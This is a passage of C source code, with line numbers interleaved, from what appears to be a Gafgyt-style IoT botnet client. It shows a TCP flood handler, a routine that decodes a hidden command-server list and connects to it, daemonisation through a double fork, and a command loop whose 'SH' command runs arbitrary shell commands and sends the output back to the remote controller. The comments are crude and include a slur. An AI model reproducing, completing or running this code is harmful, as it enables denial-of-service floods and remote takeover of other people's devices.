1871
{
1872
sockprintf(mainCommSock, "TCP Flooding %s for %d seconds.", ip, time);
1873
unsigned char *hi = strtok(ip, ",");
1874
while(hi != NULL)
1875
{
1876
if(!listFork())
1877
{
1878
sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
1879
close(mainCommSock);
1880
_exit(0);
1881
}
1882
hi = strtok(NULL, ",");
1883
}
1884
} else {
1885
if (listFork()) { return; }
1886
1887
sockprintf(mainCommSock, "TCP Flooding %s for %d seconds.", ip, time);
1888
sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
1889
close(mainCommSock);
1890
1891
_exit(0);
1892
}
1893
}
1894
1895
if(!strcmp(argv[0], "STOP"))
1896
{
1897
int killed = 0;
1898
unsigned long i;
1899
for (i = 0; i < numpids; i++) {
1900
if (pids[i] != 0 && pids[i] != getpid()) {
1901
kill(pids[i], 9);
1902
killed++;
1903
}
1904
}
1905
1906
if(killed > 0)
1907
{
1908
sockprintf(mainCommSock, "Killed %d.", killed);
1909
} else {
1910
sockprintf(mainCommSock, "None Killed.");
1911
}
1912
}
1913
1914
1915
1916
if(!strcmp(argv[0], "LOLNOGTFO"))
1917
{
1918
exit(0);
1919
}
1920
}
1921
1922
int initConnection()
1923
{
1924
unsigned char server[512];
1925
memset(server, 0, 512);
1926
if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
1927
if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
1928
else currentServer++;
1929
1930
strcpy(server, decode(commServer[currentServer])); //Comment out for no encryption
1931
//strcpy(server, commServer[currentServer]); //Uncomment for no encryption
1932
int port = 6667;
1933
if(strchr(server, ':') != NULL)
1934
{
1935
port = atoi(strchr(server, ':') + 1);
1936
*((unsigned char *)(strchr(server, ':'))) = 0x0;
1937
}
1938
1939
mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
1940
1941
if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
1942
1943
return 0;
1944
}
1945
1946
int getOurIP()
1947
{
1948
int sock = socket(AF_INET, SOCK_DGRAM, 0);
1949
if(sock == -1) return 0;
1950
1951
struct sockaddr_in serv;
1952
memset(&serv, 0, sizeof(serv));
1953
serv.sin_family = AF_INET;
1954
serv.sin_addr.s_addr = inet_addr("8.8.8.8");
1955
serv.sin_port = htons(53);
1956
1957
int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
1958
if(err == -1) return 0;
1959
1960
struct sockaddr_in name;
1961
socklen_t namelen = sizeof(name);
1962
err = getsockname(sock, (struct sockaddr*) &name, &namelen);
1963
if(err == -1) return 0;
1964
1965
ourIP.s_addr = name.sin_addr.s_addr;
1966
1967
int cmdline = open("/proc/net/route", O_RDONLY);
1968
char linebuf[4096];
1969
while(fdgets(linebuf, 4096, cmdline) != NULL)
1970
{
1971
if(strstr(linebuf, "\t00000000\t") != NULL)
1972
{
1973
unsigned char *pos = linebuf;
1974
while(*pos != '\t') pos++;
1975
*pos = 0;
1976
break;
1977
}
1978
memset(linebuf, 0, 4096);
1979
}
1980
close(cmdline);
1981
1982
if(*linebuf)
1983
{
1984
int i;
1985
struct ifreq ifr;
1986
strcpy(ifr.ifr_name, linebuf);
1987
ioctl(sock, SIOCGIFHWADDR, &ifr);
1988
for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
1989
}
1990
1991
close(sock);
1992
}
1993
1994
char *getBuild()
1995
{
1996
#ifdef MIPS_BUILD
1997
return "MIPS";
1998
#elif MIPSEL_BUILD
1999
return "MIPSEL";
2000
#elif X86_BUILD
2001
return "X86";
2002
#elif ARM_BUILD
2003
return "ARM";
2004
#elif PPC_BUILD
2005
return "POWERPC";
2006
#else
2007
return "GAYFGT";
2008
#endif
2009
}
2010
2011
int main(int argc, unsigned char *argv[])
2012
{
2013
if(SERVER_LIST_SIZE <= 0) return 0; //LOL PERSON WHO CONFIGURED DIS BOT IS RETARDED
2014
2015
srand(time(NULL) ^ getpid());
2016
init_rand(time(NULL) ^ getpid());
2017
2018
pid_t pid1;
2019
pid_t pid2;
2020
int status;
2021
2022
getOurIP();
2023
zprintf("MAC: %02X:%02X:%02X:%02X:%02X:%02X\n", macAddress[0], macAddress[1], macAddress[2], macAddress[3], macAddress[4], macAddress[5]);
2024
2025
if (pid1 = fork()) {
2026
waitpid(pid1, &status, 0);
2027
exit(0);
2028
} else if (!pid1) {
2029
if (pid2 = fork()) {
2030
exit(0);
2031
} else if (!pid2) {
2032
} else {
2033
zprintf("fork failed\n");
2034
}
2035
} else {
2036
zprintf("fork failed\n");
2037
}
2038
2039
setsid();
2040
chdir("/");
2041
2042
signal(SIGPIPE, SIG_IGN);
2043
2044
while(1)
2045
{
2046
if(initConnection()) { printf("Failed to connect...\n"); sleep(5); continue; }
2047
2048
sockprintf(mainCommSock, "BUILD %s", getBuild());
2049
2050
char commBuf[4096];
2051
int got = 0;
2052
int i = 0;
2053
while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
2054
{
2055
for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
2056
unsigned int *newpids, on;
2057
for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
2058
pids[on - 1] = 0;
2059
numpids--;
2060
newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
2061
for (on = 0; on < numpids; on++) newpids[on] = pids[on];
2062
free(pids);
2063
pids = newpids;
2064
}
2065
2066
commBuf[got] = 0x00;
2067
2068
trim(commBuf);
2069
2070
if(strstr(commBuf, "PING") == commBuf)
2071
{
2072
sockprintf(mainCommSock, "PONG");
2073
continue;
2074
}
2075
2076
if(strstr(commBuf, "DUP") == commBuf) exit(0);
2077
2078
unsigned char *message = commBuf;
2079
2080
if(*message == '!')
2081
{
2082
unsigned char *nickMask = message + 1;
2083
while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
2084
if(*nickMask == 0x00) continue;
2085
*(nickMask) = 0x00;
2086
nickMask = message + 1;
2087
2088
message = message + strlen(nickMask) + 2;
2089
while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
2090
2091
unsigned char *command = message;
2092
while(*message != ' ' && *message != 0x00) message++;
2093
*message = 0x00;
2094
message++;
2095
2096
unsigned char *tmpcommand = command;
2097
while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
2098
2099
if(strcmp(command, "SH") == 0)
2100
{
2101
unsigned char buf[1024];
2102
int command;
2103
if (listFork()) continue;
2104
memset(buf, 0, 1024);
2105
szprintf(buf, "%s 2>&1", message);
2106
command = fdpopen(buf, "r");
2107
while(fdgets(buf, 1024, command) != NULL)
2108
{
2109
trim(buf);
2110
sockprintf(mainCommSock, "%s", buf);
2111
memset(buf, 0, 1024);
2112
sleep(1);
2113
}
2114
fdpclose(command);
2115
exit(0);
2116
}
2117
2118
unsigned char *params[10];
2119
int paramsCount = 1;
2120
unsigned char *pch = strtok(message, " ");
2121
params[0] = command;
2122
2123
while(pch)
2124
{
2125
if(*pch != '\n')
2126
{
2127
params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
2128
memset(params[paramsCount], 0, strlen(pch) + 1);
2129
strcpy(params[paramsCount], pch);
2130
paramsCount++;
2131
}
2132
pch = strtok(NULL, " ");
2133
}
2134
2135
processCmd(paramsCount, params);
2136
2137
if(paramsCount > 1)
2138
{
2139
int q = 1;
2140
for(q = 1; q < paramsCount; q++)
2141
{
2142
free(params[q]);
2143
}
2144
}
2145
}
2146
}
2147
printf("Link closed by server.\n");
2148
}
2149
2150
return 0; //dis is da propa codez
2151
2152
}
2153